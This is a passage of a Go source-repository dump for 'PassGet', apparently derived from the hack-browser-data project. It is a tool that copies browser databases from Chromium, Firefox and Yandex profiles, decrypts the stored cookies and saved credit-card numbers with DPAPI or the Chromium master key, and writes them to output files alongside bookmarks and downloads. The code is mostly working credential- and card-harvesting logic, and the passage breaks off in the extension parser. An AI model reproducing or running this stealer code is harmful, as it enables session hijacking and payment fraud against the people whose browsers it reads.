136 | modernc.org/sqlite v1.20.0/go.mod h1:EsYz8rfOvLCiYTy5ZFsOYzoCcRMu98YYkwAcCw5YIYw=
137 | modernc.org/strutil v1.2.0 h1:agBi9dp1I+eOnxXeiZawM8F4LawKv4NzGWSaLfyeNZA=
138 | modernc.org/strutil v1.2.0/go.mod h1:/mdcBmfOibveCTBxUl5B5l6W+TTH1FXPLHZE6bTosX0=
139 | modernc.org/tcl v1.15.0 h1:oY+JeD11qVVSgVvodMJsu7Edf8tr5E/7tuhF5cNYz34=
140 | modernc.org/token v1.1.0 h1:Xl7Ap9dKaEs5kLoOQeQmPWevfnk/DM5qcLcYlA8ys6Y=
141 | modernc.org/token v1.1.0/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM=
142 | modernc.org/z v1.7.0 h1:xkDw/KepgEjeizO2sNco+hqYkU12taxQFqPEmgm1GWE=
143 |
--------------------------------------------------------------------------------
/log/level/level.go:
--------------------------------------------------------------------------------
1 | package level
2 |
3 | // Level defines all the available levels we can log at
4 | type Level int32
5 |
6 | const (
7 | // DebugLevel is the lowest level of logging.
8 | // Debug logs are intended for debugging and development purposes.
9 | DebugLevel Level = iota + 1
10 |
11 | // WarnLevel is used for undesired but relatively expected events,
12 | // which may indicate a problem.
13 | WarnLevel
14 |
15 | // ErrorLevel is used for undesired and unexpected events that
16 | // the program can recover from.
17 | ErrorLevel
18 |
19 | // FatalLevel is used for undesired and unexpected events that
20 | // the program cannot recover from.
21 | FatalLevel
22 | )
23 |
24 | func (l Level) String() string {
25 | switch l {
26 | case DebugLevel:
27 | return "DEBUG"
28 | case WarnLevel:
29 | return "WARN"
30 | case ErrorLevel:
31 | return "ERROR"
32 | case FatalLevel:
33 | return "FATAL"
34 | default:
35 | return "UNKNOWN"
36 | }
37 | }
38 |
--------------------------------------------------------------------------------
/log/log.go:
--------------------------------------------------------------------------------
1 | package log
2 |
3 | import (
4 | "PassGet/log/level"
5 | )
6 |
7 | var (
8 | // defaultLogger is the default logger used by the package-level functions.
9 | defaultLogger = NewLogger(nil)
10 | )
11 |
12 | func SetVerbose() {
13 | defaultLogger.SetLevel(level.DebugLevel)
14 | }
15 |
16 | func Debug(args ...any) {
17 | defaultLogger.Debug(args...)
18 | }
19 |
20 | func Debugf(format string, args ...any) {
21 | defaultLogger.Debugf(format, args...)
22 | }
23 |
24 | func Warn(args ...any) {
25 | defaultLogger.Warn(args...)
26 | }
27 |
28 | func Warnf(format string, args ...any) {
29 | defaultLogger.Warnf(format, args...)
30 | }
31 |
32 | func Error(args ...any) {
33 | defaultLogger.Error(args...)
34 | }
35 |
36 | func Errorf(format string, args ...any) {
37 | defaultLogger.Errorf(format, args...)
38 | }
39 |
40 | func Fatal(args ...any) {
41 | defaultLogger.Fatal(args...)
42 | }
43 |
44 | func Fatalf(format string, args ...any) {
45 | defaultLogger.Fatalf(format, args...)
46 | }
47 |
--------------------------------------------------------------------------------
/log/logger.go:
--------------------------------------------------------------------------------
1 | package log
2 |
3 | import (
4 | "PassGet/log/level"
5 | "fmt"
6 | "io"
7 | stdlog "log"
8 | "os"
9 | "runtime"
10 | "strings"
11 | "sync/atomic"
12 | )
13 |
14 | // NewLogger creates and returns a new instance of Logger.
15 | // Log level is set to DebugLevel by default.
16 | func NewLogger(base Base) *Logger {
17 | if base == nil {
18 | base = newBase(os.Stderr)
19 | }
20 | return &Logger{base: base, minLevel: level.WarnLevel}
21 | }
22 |
23 | // Logger logs message to io.Writer at various log levels.
24 | type Logger struct {
25 | base Base
26 |
27 | // Minimum log level for this logger.
28 | // Message with level lower than this level won't be outputted.
29 | minLevel level.Level
30 | }
31 |
32 | // canLogAt reports whether logger can log at level v.
33 | func (l *Logger) canLogAt(v level.Level) bool {
34 | return v >= level.Level(atomic.LoadInt32((*int32)(&l.minLevel)))
35 | }
36 |
37 | // SetLevel sets the logger level.
38 | // It panics if v is less than DebugLevel or greater than FatalLevel.
39 | func (l *Logger) SetLevel(v level.Level) {
40 | if v < level.DebugLevel || v > level.FatalLevel {
41 | panic("log: invalid log level")
42 | }
43 | atomic.StoreInt32((*int32)(&l.minLevel), int32(v))
44 | }
45 |
46 | func (l *Logger) Debug(args ...any) {
47 | if !l.canLogAt(level.DebugLevel) {
48 | return
49 | }
50 | l.base.Debug(args...)
51 | }
52 |
53 | func (l *Logger) Warn(args ...any) {
54 | if !l.canLogAt(level.WarnLevel) {
55 | return
56 | }
57 | l.base.Warn(args...)
58 | }
59 |
60 | func (l *Logger) Error(args ...any) {
61 | if !l.canLogAt(level.ErrorLevel) {
62 | return
63 | }
64 | l.base.Error(args...)
65 | }
66 |
67 | func (l *Logger) Fatal(args ...any) {
68 | if !l.canLogAt(level.FatalLevel) {
69 | return
70 | }
71 | l.base.Fatal(args...)
72 | }
73 |
74 | func (l *Logger) Debugf(format string, args ...any) {
75 | if !l.canLogAt(level.DebugLevel) {
76 | return
77 | }
78 | l.base.Debug(fmt.Sprintf(format, args...))
79 | }
80 |
81 | func (l *Logger) Warnf(format string, args ...any) {
82 | if !l.canLogAt(level.WarnLevel) {
83 | return
84 | }
85 | l.base.Warn(fmt.Sprintf(format, args...))
86 | }
87 |
88 | func (l *Logger) Errorf(format string, args ...any) {
89 | if !l.canLogAt(level.ErrorLevel) {
90 | return
91 | }
92 | l.base.Error(fmt.Sprintf(format, args...))
93 | }
94 |
95 | func (l *Logger) Fatalf(format string, args ...any) {
96 | if !l.canLogAt(level.FatalLevel) {
97 | return
98 | }
99 | l.base.Fatal(fmt.Sprintf(format, args...))
100 | }
101 |
102 | type Base interface {
103 | Debug(args ...any)
104 | Warn(args ...any)
105 | Error(args ...any)
106 | Fatal(args ...any)
107 | }
108 |
109 | // baseLogger is a wrapper object around log.Logger from the standard library.
110 | // It supports logging at various log levels.
111 | type baseLogger struct {
112 | *stdlog.Logger
113 | callDepth int
114 | }
115 |
116 | func newBase(out io.Writer) *baseLogger {
117 | prefix := "[hack-browser-data] "
118 | base := &baseLogger{
119 | Logger: stdlog.New(out, prefix, stdlog.Lshortfile),
120 | }
121 | base.callDepth = base.calculateCallDepth()
122 | return base
123 | }
124 |
125 | // calculateCallDepth returns the call depth for the logger.
126 | func (l *baseLogger) calculateCallDepth() int {
127 | return l.getCallDepth()
128 | }
129 |
130 | func (l *baseLogger) prefixPrint(prefix string, args ...any) {
131 | args = append([]any{prefix}, args...)
132 | if err := l.Output(l.callDepth, fmt.Sprint(args...)); err != nil {
133 | _, _ = fmt.Fprintf(os.Stderr, "log output error: %v\n", err)
134 | }
135 | }
136 |
137 | func (l *baseLogger) getCallDepth() int {
138 | var defaultCallDepth = 2
139 | pcs := make([]uintptr, 10)
140 | n := runtime.Callers(defaultCallDepth, pcs)
141 | frames := runtime.CallersFrames(pcs[:n])
142 | for i := 0; i < n; i++ {
143 | frame, more := frames.Next()
144 | if !l.isLoggerPackage(frame.Function) {
145 | return i + 1
146 | }
147 | if !more {
148 | break
149 | }
150 | }
151 | return defaultCallDepth
152 | }
153 |
154 | func (l *baseLogger) isLoggerPackage(funcName string) bool {
155 | const loggerFuncName = "hackbrowserdata/log"
156 | return strings.Contains(funcName, loggerFuncName)
157 | }
158 |
159 | // Debug logs a message at Debug level.
160 | func (l *baseLogger) Debug(args ...any) {
161 | l.prefixPrint("DEBUG: ", args...)
162 | }
163 |
164 | // Warn logs a message at Warning level.
165 | func (l *baseLogger) Warn(args ...any) {
166 | l.prefixPrint("WARN: ", args...)
167 | }
168 |
169 | // Error logs a message at Error level.
170 | func (l *baseLogger) Error(args ...any) {
171 | l.prefixPrint("ERROR: ", args...)
172 | }
173 |
174 | var osExit = os.Exit
175 |
176 | // Fatal logs a message at Fatal level
177 | // and process will exit with status set to 1.
178 | func (l *baseLogger) Fatal(args ...any) {
179 | l.prefixPrint("FATAL: ", args...)
180 | osExit(1)
181 | }
182 |
--------------------------------------------------------------------------------
/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "PassGet/modules/run"
5 | )
6 |
7 | func main() {
8 | run.Run()
9 | }
10 |
--------------------------------------------------------------------------------
/modules/browser/browserGet.go:
--------------------------------------------------------------------------------
1 | package browser
2 |
3 | import (
4 | "PassGet/modules/browser/pick"
5 | br "PassGet/modules/utils/browser"
6 | )
7 |
8 | func Get() error {
9 | browsers, err := browser.PickBrowsers(br.BrowserName, br.ProfilePath)
10 | if err != nil {
11 | //log.Errorf("pick browsers %v", err)
12 | return err
13 | }
14 | for _, b := range browsers {
15 | data, err := b.BrowsingData(true)
16 | if err != nil {
17 | //log.Errorf("get browsing data error %v", err)
18 | continue
19 | }
20 | data.Output(br.OutputDir+"/browser", b.Name(), br.OutputFormat)
21 | }
22 | //log.Debug("compress success")
23 | return nil
24 | }
25 |
--------------------------------------------------------------------------------
/modules/browser/browserdata/bookmark/bookmark.go:
--------------------------------------------------------------------------------
1 | package bookmark
2 |
3 | import (
4 | "database/sql"
5 | "os"
6 | "sort"
7 | "time"
8 |
9 | "github.com/tidwall/gjson"
10 | _ "modernc.org/sqlite" // import sqlite3 driver
11 |
12 | "PassGet/log"
13 | "PassGet/modules/utils/browser/extractor"
14 | "PassGet/modules/utils/browser/fileutil"
15 | "PassGet/modules/utils/browser/types"
16 | "PassGet/modules/utils/browser/typeutil"
17 | )
18 |
19 | func init() {
20 | extractor.RegisterExtractor(types.ChromiumBookmark, func() extractor.Extractor {
21 | return new(ChromiumBookmark)
22 | })
23 | extractor.RegisterExtractor(types.FirefoxBookmark, func() extractor.Extractor {
24 | return new(FirefoxBookmark)
25 | })
26 | }
27 |
28 | type ChromiumBookmark []bookmark
29 |
30 | type bookmark struct {
31 | ID int64
32 | Name string
33 | Type string
34 | URL string
35 | DateAdded time.Time
36 | }
37 |
38 | func (c *ChromiumBookmark) Extract(_ []byte) error {
39 | bookmarks, err := fileutil.ReadFile(types.ChromiumBookmark.TempFilename())
40 | if err != nil {
41 | return err
42 | }
43 | defer os.Remove(types.ChromiumBookmark.TempFilename())
44 | r := gjson.Parse(bookmarks)
45 | if r.Exists() {
46 | roots := r.Get("roots")
47 | roots.ForEach(func(key, value gjson.Result) bool {
48 | getBookmarkChildren(value, c)
49 | return true
50 | })
51 | }
52 |
53 | sort.Slice(*c, func(i, j int) bool {
54 | return (*c)[i].DateAdded.After((*c)[j].DateAdded)
55 | })
56 | return nil
57 | }
58 |
59 | const (
60 | bookmarkID = "id"
61 | bookmarkAdded = "date_added"
62 | bookmarkURL = "url"
63 | bookmarkName = "name"
64 | bookmarkType = "type"
65 | bookmarkChildren = "children"
66 | )
67 |
68 | func getBookmarkChildren(value gjson.Result, w *ChromiumBookmark) (children gjson.Result) {
69 | nodeType := value.Get(bookmarkType)
70 | children = value.Get(bookmarkChildren)
71 |
72 | bm := bookmark{
73 | ID: value.Get(bookmarkID).Int(),
74 | Name: value.Get(bookmarkName).String(),
75 | URL: value.Get(bookmarkURL).String(),
76 | DateAdded: typeutil.TimeEpoch(value.Get(bookmarkAdded).Int()),
77 | }
78 | if nodeType.Exists() {
79 | bm.Type = nodeType.String()
80 | *w = append(*w, bm)
81 | if children.Exists() && children.IsArray() {
82 | for _, v := range children.Array() {
83 | children = getBookmarkChildren(v, w)
84 | }
85 | }
86 | }
87 | return children
88 | }
89 |
90 | func (c *ChromiumBookmark) Name() string {
91 | return "bookmark"
92 | }
93 |
94 | func (c *ChromiumBookmark) Len() int {
95 | return len(*c)
96 | }
97 |
98 | type FirefoxBookmark []bookmark
99 |
100 | const (
101 | queryFirefoxBookMark = `SELECT id, url, type, dateAdded, title FROM (SELECT * FROM moz_bookmarks INNER JOIN moz_places ON moz_bookmarks.fk=moz_places.id)`
102 | closeJournalMode = `PRAGMA journal_mode=off`
103 | )
104 |
105 | func (f *FirefoxBookmark) Extract(_ []byte) error {
106 | db, err := sql.Open("sqlite", types.FirefoxBookmark.TempFilename())
107 | if err != nil {
108 | return err
109 | }
110 | defer os.Remove(types.FirefoxBookmark.TempFilename())
111 | defer db.Close()
112 | _, err = db.Exec(closeJournalMode)
113 | if err != nil {
114 | log.Debugf("close journal mode error: %v", err)
115 | }
116 | rows, err := db.Query(queryFirefoxBookMark)
117 | if err != nil {
118 | return err
119 | }
120 | defer rows.Close()
121 | for rows.Next() {
122 | var (
123 | id, bt, dateAdded int64
124 | title, url string
125 | )
126 | if err = rows.Scan(&id, &url, &bt, &dateAdded, &title); err != nil {
127 | log.Debugf("scan bookmark error: %v", err)
128 | }
129 | *f = append(*f, bookmark{
130 | ID: id,
131 | Name: title,
132 | Type: linkType(bt),
133 | URL: url,
134 | DateAdded: typeutil.TimeStamp(dateAdded / 1000000),
135 | })
136 | }
137 | sort.Slice(*f, func(i, j int) bool {
138 | return (*f)[i].DateAdded.After((*f)[j].DateAdded)
139 | })
140 | return nil
141 | }
142 |
143 | func (f *FirefoxBookmark) Name() string {
144 | return "bookmark"
145 | }
146 |
147 | func (f *FirefoxBookmark) Len() int {
148 | return len(*f)
149 | }
150 |
151 | func linkType(a int64) string {
152 | switch a {
153 | case 1:
154 | return "url"
155 | default:
156 | return "folder"
157 | }
158 | }
159 |
--------------------------------------------------------------------------------
/modules/browser/browserdata/browserdata.go:
--------------------------------------------------------------------------------
1 | package browserdata
2 |
3 | import (
4 | "PassGet/log"
5 | "PassGet/modules/utils/browser/extractor"
6 | "PassGet/modules/utils/browser/fileutil"
7 | "PassGet/modules/utils/browser/types"
8 | )
9 |
10 | type BrowserData struct {
11 | extractors map[types.DataType]extractor.Extractor
12 | }
13 |
14 | func New(items []types.DataType) *BrowserData {
15 | bd := &BrowserData{
16 | extractors: make(map[types.DataType]extractor.Extractor),
17 | }
18 | bd.addExtractors(items)
19 | return bd
20 | }
21 |
22 | func (d *BrowserData) Recovery(masterKey []byte) error {
23 | for _, source := range d.extractors {
24 | if err := source.Extract(masterKey); err != nil {
25 | log.Debugf("parse %s error: %v", source.Name(), err)
26 | continue
27 | }
28 | }
29 | return nil
30 | }
31 |
32 | func (d *BrowserData) Output(dir, browserName, flag string) {
33 | output := newOutPutter(flag)
34 |
35 | for _, source := range d.extractors {
36 | if source.Len() == 0 {
37 | // if the length of the export data is 0, then it is not necessary to output
38 | continue
39 | }
40 | filename := fileutil.Filename(browserName, source.Name(), output.Ext())
41 |
42 | f, err := output.CreateFile(dir, filename)
43 | if err != nil {
44 | log.Debugf("create file %s error: %v", filename, err)
45 | continue
46 | }
47 | if err := output.Write(source, f); err != nil {
48 | log.Debugf("write to file %s error: %v", filename, err)
49 | continue
50 | }
51 | if err := f.Close(); err != nil {
52 | log.Debugf("close file %s error: %v", filename, err)
53 | continue
54 | }
55 | //log.Warnf("export success: %s", filename)
56 | }
57 | }
58 |
59 | func (d *BrowserData) addExtractors(items []types.DataType) {
60 | for _, itemType := range items {
61 | if source := extractor.CreateExtractor(itemType); source != nil {
62 | d.extractors[itemType] = source
63 | } else {
64 | log.Debugf("source not found: %s", itemType)
65 | }
66 | }
67 | }
68 |
--------------------------------------------------------------------------------
/modules/browser/browserdata/cookie/cookie.go:
--------------------------------------------------------------------------------
1 | package cookie
2 |
3 | import (
4 | "database/sql"
5 | "os"
6 | "sort"
7 | "time"
8 |
9 | // import sqlite3 driver
10 | _ "modernc.org/sqlite"
11 |
12 | "PassGet/log"
13 | "PassGet/modules/utils/browser/crypto"
14 | "PassGet/modules/utils/browser/extractor"
15 | "PassGet/modules/utils/browser/types"
16 | "PassGet/modules/utils/browser/typeutil"
17 | )
18 |
19 | func init() {
20 | extractor.RegisterExtractor(types.ChromiumCookie, func() extractor.Extractor {
21 | return new(ChromiumCookie)
22 | })
23 | extractor.RegisterExtractor(types.FirefoxCookie, func() extractor.Extractor {
24 | return new(FirefoxCookie)
25 | })
26 | }
27 |
28 | type ChromiumCookie []cookie
29 |
30 | type cookie struct {
31 | Host string
32 | Path string
33 | KeyName string
34 | encryptValue []byte
35 | Value string
36 | IsSecure bool
37 | IsHTTPOnly bool
38 | HasExpire bool
39 | IsPersistent bool
40 | CreateDate time.Time
41 | ExpireDate time.Time
42 | }
43 |
44 | const (
45 | queryChromiumCookie = `SELECT name, encrypted_value, host_key, path, creation_utc, expires_utc, is_secure, is_httponly, has_expires, is_persistent FROM cookies`
46 | )
47 |
48 | func (c *ChromiumCookie) Extract(masterKey []byte) error {
49 | db, err := sql.Open("sqlite", types.ChromiumCookie.TempFilename())
50 | if err != nil {
51 | return err
52 | }
53 | defer os.Remove(types.ChromiumCookie.TempFilename())
54 | defer db.Close()
55 | rows, err := db.Query(queryChromiumCookie)
56 | if err != nil {
57 | return err
58 | }
59 | defer rows.Close()
60 | for rows.Next() {
61 | var (
62 | key, host, path string
63 | isSecure, isHTTPOnly, hasExpire, isPersistent int
64 | createDate, expireDate int64
65 | value, encryptValue []byte
66 | )
67 | if err = rows.Scan(&key, &encryptValue, &host, &path, &createDate, &expireDate, &isSecure, &isHTTPOnly, &hasExpire, &isPersistent); err != nil {
68 | log.Debugf("scan chromium cookie error: %v", err)
69 | }
70 |
71 | cookie := cookie{
72 | KeyName: key,
73 | Host: host,
74 | Path: path,
75 | encryptValue: encryptValue,
76 | IsSecure: typeutil.IntToBool(isSecure),
77 | IsHTTPOnly: typeutil.IntToBool(isHTTPOnly),
78 | HasExpire: typeutil.IntToBool(hasExpire),
79 | IsPersistent: typeutil.IntToBool(isPersistent),
80 | CreateDate: typeutil.TimeEpoch(createDate),
81 | ExpireDate: typeutil.TimeEpoch(expireDate),
82 | }
83 |
84 | if len(encryptValue) > 0 {
85 | value, err = crypto.DecryptWithDPAPI(encryptValue)
86 | if err != nil {
87 | value, err = crypto.DecryptWithChromium(masterKey, encryptValue)
88 | if err != nil {
89 | log.Debugf("decrypt chromium cookie error: %v", err)
90 | }
91 | }
92 | }
93 |
94 | cookie.Value = string(value)
95 | *c = append(*c, cookie)
96 | }
97 | sort.Slice(*c, func(i, j int) bool {
98 | return (*c)[i].CreateDate.After((*c)[j].CreateDate)
99 | })
100 | return nil
101 | }
102 |
103 | func (c *ChromiumCookie) Name() string {
104 | return "cookie"
105 | }
106 |
107 | func (c *ChromiumCookie) Len() int {
108 | return len(*c)
109 | }
110 |
111 | type FirefoxCookie []cookie
112 |
113 | const (
114 | queryFirefoxCookie = `SELECT name, value, host, path, creationTime, expiry, isSecure, isHttpOnly FROM moz_cookies`
115 | )
116 |
117 | func (f *FirefoxCookie) Extract(_ []byte) error {
118 | db, err := sql.Open("sqlite", types.FirefoxCookie.TempFilename())
119 | if err != nil {
120 | return err
121 | }
122 | defer os.Remove(types.FirefoxCookie.TempFilename())
123 | defer db.Close()
124 |
125 | rows, err := db.Query(queryFirefoxCookie)
126 | if err != nil {
127 | return err
128 | }
129 | defer rows.Close()
130 | for rows.Next() {
131 | var (
132 | name, value, host, path string
133 | isSecure, isHTTPOnly int
134 | creationTime, expiry int64
135 | )
136 | if err = rows.Scan(&name, &value, &host, &path, &creationTime, &expiry, &isSecure, &isHTTPOnly); err != nil {
137 | log.Debugf("scan firefox cookie error: %v", err)
138 | }
139 | *f = append(*f, cookie{
140 | KeyName: name,
141 | Host: host,
142 | Path: path,
143 | IsSecure: typeutil.IntToBool(isSecure),
144 | IsHTTPOnly: typeutil.IntToBool(isHTTPOnly),
145 | CreateDate: typeutil.TimeStamp(creationTime / 1000000),
146 | ExpireDate: typeutil.TimeStamp(expiry),
147 | Value: value,
148 | })
149 | }
150 |
151 | sort.Slice(*f, func(i, j int) bool {
152 | return (*f)[i].CreateDate.After((*f)[j].CreateDate)
153 | })
154 | return nil
155 | }
156 |
157 | func (f *FirefoxCookie) Name() string {
158 | return "cookie"
159 | }
160 |
161 | func (f *FirefoxCookie) Len() int {
162 | return len(*f)
163 | }
164 |
--------------------------------------------------------------------------------
/modules/browser/browserdata/creditcard/creditcard.go:
--------------------------------------------------------------------------------
1 | package creditcard
2 |
3 | import (
4 | "database/sql"
5 | "os"
6 |
7 | // import sqlite3 driver
8 | _ "modernc.org/sqlite"
9 |
10 | "PassGet/log"
11 | "PassGet/modules/utils/browser/crypto"
12 | "PassGet/modules/utils/browser/extractor"
13 | "PassGet/modules/utils/browser/types"
14 | )
15 |
16 | func init() {
17 | extractor.RegisterExtractor(types.ChromiumCreditCard, func() extractor.Extractor {
18 | return new(ChromiumCreditCard)
19 | })
20 | extractor.RegisterExtractor(types.YandexCreditCard, func() extractor.Extractor {
21 | return new(YandexCreditCard)
22 | })
23 | }
24 |
25 | type ChromiumCreditCard []card
26 |
27 | type card struct {
28 | GUID string
29 | Name string
30 | ExpirationYear string
31 | ExpirationMonth string
32 | CardNumber string
33 | Address string
34 | NickName string
35 | }
36 |
37 | const (
38 | queryChromiumCredit = `SELECT guid, name_on_card, expiration_month, expiration_year, card_number_encrypted, billing_address_id, nickname FROM credit_cards`
39 | )
40 |
41 | func (c *ChromiumCreditCard) Extract(masterKey []byte) error {
42 | db, err := sql.Open("sqlite", types.ChromiumCreditCard.TempFilename())
43 | if err != nil {
44 | return err
45 | }
46 | defer os.Remove(types.ChromiumCreditCard.TempFilename())
47 | defer db.Close()
48 |
49 | rows, err := db.Query(queryChromiumCredit)
50 | if err != nil {
51 | return err
52 | }
53 | defer rows.Close()
54 | for rows.Next() {
55 | var (
56 | name, month, year, guid, address, nickname string
57 | value, encryptValue []byte
58 | )
59 | if err := rows.Scan(&guid, &name, &month, &year, &encryptValue, &address, &nickname); err != nil {
60 | log.Debugf("scan chromium credit card error: %v", err)
61 | }
62 | ccInfo := card{
63 | GUID: guid,
64 | Name: name,
65 | ExpirationMonth: month,
66 | ExpirationYear: year,
67 | Address: address,
68 | NickName: nickname,
69 | }
70 | if len(encryptValue) > 0 {
71 | if len(masterKey) == 0 {
72 | value, err = crypto.DecryptWithDPAPI(encryptValue)
73 | } else {
74 | value, err = crypto.DecryptWithChromium(masterKey, encryptValue)
75 | }
76 | if err != nil {
77 | log.Debugf("decrypt chromium credit card error: %v", err)
78 | }
79 | }
80 |
81 | ccInfo.CardNumber = string(value)
82 | *c = append(*c, ccInfo)
83 | }
84 | return nil
85 | }
86 |
87 | func (c *ChromiumCreditCard) Name() string {
88 | return "creditcard"
89 | }
90 |
91 | func (c *ChromiumCreditCard) Len() int {
92 | return len(*c)
93 | }
94 |
95 | type YandexCreditCard []card
96 |
97 | func (c *YandexCreditCard) Extract(masterKey []byte) error {
98 | db, err := sql.Open("sqlite", types.YandexCreditCard.TempFilename())
99 | if err != nil {
100 | return err
101 | }
102 | defer os.Remove(types.YandexCreditCard.TempFilename())
103 | defer db.Close()
104 | rows, err := db.Query(queryChromiumCredit)
105 | if err != nil {
106 | return err
107 | }
108 | defer rows.Close()
109 | for rows.Next() {
110 | var (
111 | name, month, year, guid, address, nickname string
112 | value, encryptValue []byte
113 | )
114 | if err := rows.Scan(&guid, &name, &month, &year, &encryptValue, &address, &nickname); err != nil {
115 | log.Debugf("scan chromium credit card error: %v", err)
116 | }
117 | ccInfo := card{
118 | GUID: guid,
119 | Name: name,
120 | ExpirationMonth: month,
121 | ExpirationYear: year,
122 | Address: address,
123 | NickName: nickname,
124 | }
125 | if len(encryptValue) > 0 {
126 | if len(masterKey) == 0 {
127 | value, err = crypto.DecryptWithDPAPI(encryptValue)
128 | } else {
129 | value, err = crypto.DecryptWithChromium(masterKey, encryptValue)
130 | }
131 | if err != nil {
132 | log.Debugf("decrypt chromium credit card error: %v", err)
133 | }
134 | }
135 | ccInfo.CardNumber = string(value)
136 | *c = append(*c, ccInfo)
137 | }
138 | return nil
139 | }
140 |
141 | func (c *YandexCreditCard) Name() string {
142 | return "creditcard"
143 | }
144 |
145 | func (c *YandexCreditCard) Len() int {
146 | return len(*c)
147 | }
148 |
--------------------------------------------------------------------------------
/modules/browser/browserdata/download/download.go:
--------------------------------------------------------------------------------
1 | package download
2 |
3 | import (
4 | "database/sql"
5 | "os"
6 | "sort"
7 | "strings"
8 | "time"
9 |
10 | "github.com/tidwall/gjson"
11 | _ "modernc.org/sqlite" // import sqlite3 driver
12 |
13 | "PassGet/log"
14 | "PassGet/modules/utils/browser/extractor"
15 | "PassGet/modules/utils/browser/types"
16 | "PassGet/modules/utils/browser/typeutil"
17 | )
18 |
19 | func init() {
20 | extractor.RegisterExtractor(types.ChromiumDownload, func() extractor.Extractor {
21 | return new(ChromiumDownload)
22 | })
23 | extractor.RegisterExtractor(types.FirefoxDownload, func() extractor.Extractor {
24 | return new(FirefoxDownload)
25 | })
26 | }
27 |
28 | type ChromiumDownload []download
29 |
30 | type download struct {
31 | TargetPath string
32 | URL string
33 | TotalBytes int64
34 | StartTime time.Time
35 | EndTime time.Time
36 | MimeType string
37 | }
38 |
39 | const (
40 | queryChromiumDownload = `SELECT target_path, tab_url, total_bytes, start_time, end_time, mime_type FROM downloads`
41 | )
42 |
43 | func (c *ChromiumDownload) Extract(_ []byte) error {
44 | db, err := sql.Open("sqlite", types.ChromiumDownload.TempFilename())
45 | if err != nil {
46 | return err
47 | }
48 | defer os.Remove(types.ChromiumDownload.TempFilename())
49 | defer db.Close()
50 | rows, err := db.Query(queryChromiumDownload)
51 | if err != nil {
52 | return err
53 | }
54 | defer rows.Close()
55 | for rows.Next() {
56 | var (
57 | targetPath, tabURL, mimeType string
58 | totalBytes, startTime, endTime int64
59 | )
60 | if err := rows.Scan(&targetPath, &tabURL, &totalBytes, &startTime, &endTime, &mimeType); err != nil {
61 | //log.Warnf("scan chromium download error: %v", err)
62 | }
63 | data := download{
64 | TargetPath: targetPath,
65 | URL: tabURL,
66 | TotalBytes: totalBytes,
67 | StartTime: typeutil.TimeEpoch(startTime),
68 | EndTime: typeutil.TimeEpoch(endTime),
69 | MimeType: mimeType,
70 | }
71 | *c = append(*c, data)
72 | }
73 | sort.Slice(*c, func(i, j int) bool {
74 | return (*c)[i].TotalBytes > (*c)[j].TotalBytes
75 | })
76 | return nil
77 | }
78 |
79 | func (c *ChromiumDownload) Name() string {
80 | return "download"
81 | }
82 |
83 | func (c *ChromiumDownload) Len() int {
84 | return len(*c)
85 | }
86 |
87 | type FirefoxDownload []download
88 |
89 | const (
90 | queryFirefoxDownload = `SELECT place_id, GROUP_CONCAT(content), url, dateAdded FROM (SELECT * FROM moz_annos INNER JOIN moz_places ON moz_annos.place_id=moz_places.id) t GROUP BY place_id`
91 | closeJournalMode = `PRAGMA journal_mode=off`
92 | )
93 |
94 | func (f *FirefoxDownload) Extract(_ []byte) error {
95 | db, err := sql.Open("sqlite", types.FirefoxDownload.TempFilename())
96 | if err != nil {
97 | return err
98 | }
99 | defer os.Remove(types.FirefoxDownload.TempFilename())
100 | defer db.Close()
101 |
102 | _, err = db.Exec(closeJournalMode)
103 | if err != nil {
104 | log.Debugf("close journal mode error: %v", err)
105 | }
106 | rows, err := db.Query(queryFirefoxDownload)
107 | if err != nil {
108 | return err
109 | }
110 | defer rows.Close()
111 | for rows.Next() {
112 | var (
113 | content, url string
114 | placeID, dateAdded int64
115 | )
116 | if err = rows.Scan(&placeID, &content, &url, &dateAdded); err != nil {
117 | //log.Warnf("scan firefox download error: %v", err)
118 | }
119 | contentList := strings.Split(content, ",{")
120 | if len(contentList) > 1 {
121 | path := contentList[0]
122 | json := "{" + contentList[1]
123 | endTime := gjson.Get(json, "endTime")
124 | fileSize := gjson.Get(json, "fileSize")
125 | *f = append(*f, download{
126 | TargetPath: path,
127 | URL: url,
128 | TotalBytes: fileSize.Int(),
129 | StartTime: typeutil.TimeStamp(dateAdded / 1000000),
130 | EndTime: typeutil.TimeStamp(endTime.Int() / 1000),
131 | })
132 | }
133 | }
134 | sort.Slice(*f, func(i, j int) bool {
135 | return (*f)[i].TotalBytes < (*f)[j].TotalBytes
136 | })
137 | return nil
138 | }
139 |
140 | func (f *FirefoxDownload) Name() string {
141 | return "download"
142 | }
143 |
144 | func (f *FirefoxDownload) Len() int {
145 | return len(*f)
146 | }
147 |
--------------------------------------------------------------------------------
/modules/browser/browserdata/extension/extension.go:
--------------------------------------------------------------------------------
1 | package extension
2 |
3 | import (
4 | "fmt"
5 | "os"
6 | "strings"
7 |
8 | "github.com/tidwall/gjson"
9 | "golang.org/x/text/language"
10 |
11 | "PassGet/modules/utils/browser/extractor"
12 | "PassGet/modules/utils/browser/fileutil"
13 | "PassGet/modules/utils/browser/types"
14 | )
15 |
16 | func init() {
17 | extractor.RegisterExtractor(types.ChromiumExtension, func() extractor.Extractor {
18 | return new(ChromiumExtension)
19 | })
20 | extractor.RegisterExtractor(types.FirefoxExtension, func() extractor.Extractor {
21 | return new(FirefoxExtension)
22 | })
23 | }
24 |
25 | type ChromiumExtension []*extension
26 |
27 | type extension struct {
28 | ID string
29 | URL string
30 | Enabled bool
31 | Name string
32 | Description string
33 | Version string
34 | HomepageURL string
35 | }
36 |
37 | func (c *ChromiumExtension) Extract(_ []byte) error {
38 | extensionFile, err := fileutil.ReadFile(types.ChromiumExtension.TempFilename())
39 | if err != nil {
40 | return err
41 | }
42 | defer os.Remove(types.ChromiumExtension.TempFilename())
43 |
44 | result, err := parseChromiumExtensions(extensionFile)
45 | if err != nil {
46 | return err
47 | }
48 | *c = result
49 | return nil
50 | }
51 |
52 | func parseChromiumExtensions(content string) ([]*extension, error) {
53 | settingKeys := []string{
54 | "settings.extensions",
55 | "settings.settings",
56 | "extensions.settings",
57 | }
58 | var settings gjson.Result
59 | for _, key := range settingKeys {
60 | settings = gjson.Parse(content).Get(key)
61 | if settings.Exists() {
62 | break
63 | }
64 | }
65 | if !settings.Exists() {
66 | return nil, fmt.Errorf("cannot find extensions in settings")
67 | }
68 | var c []*extension
69 |
70 | settings.ForEach(func(id, ext gjson.Result) bool {
71 | location := ext.Get("location")
72 | if !location.Exists() {
73 | return true
74 | }
75 | switch location.Int() {
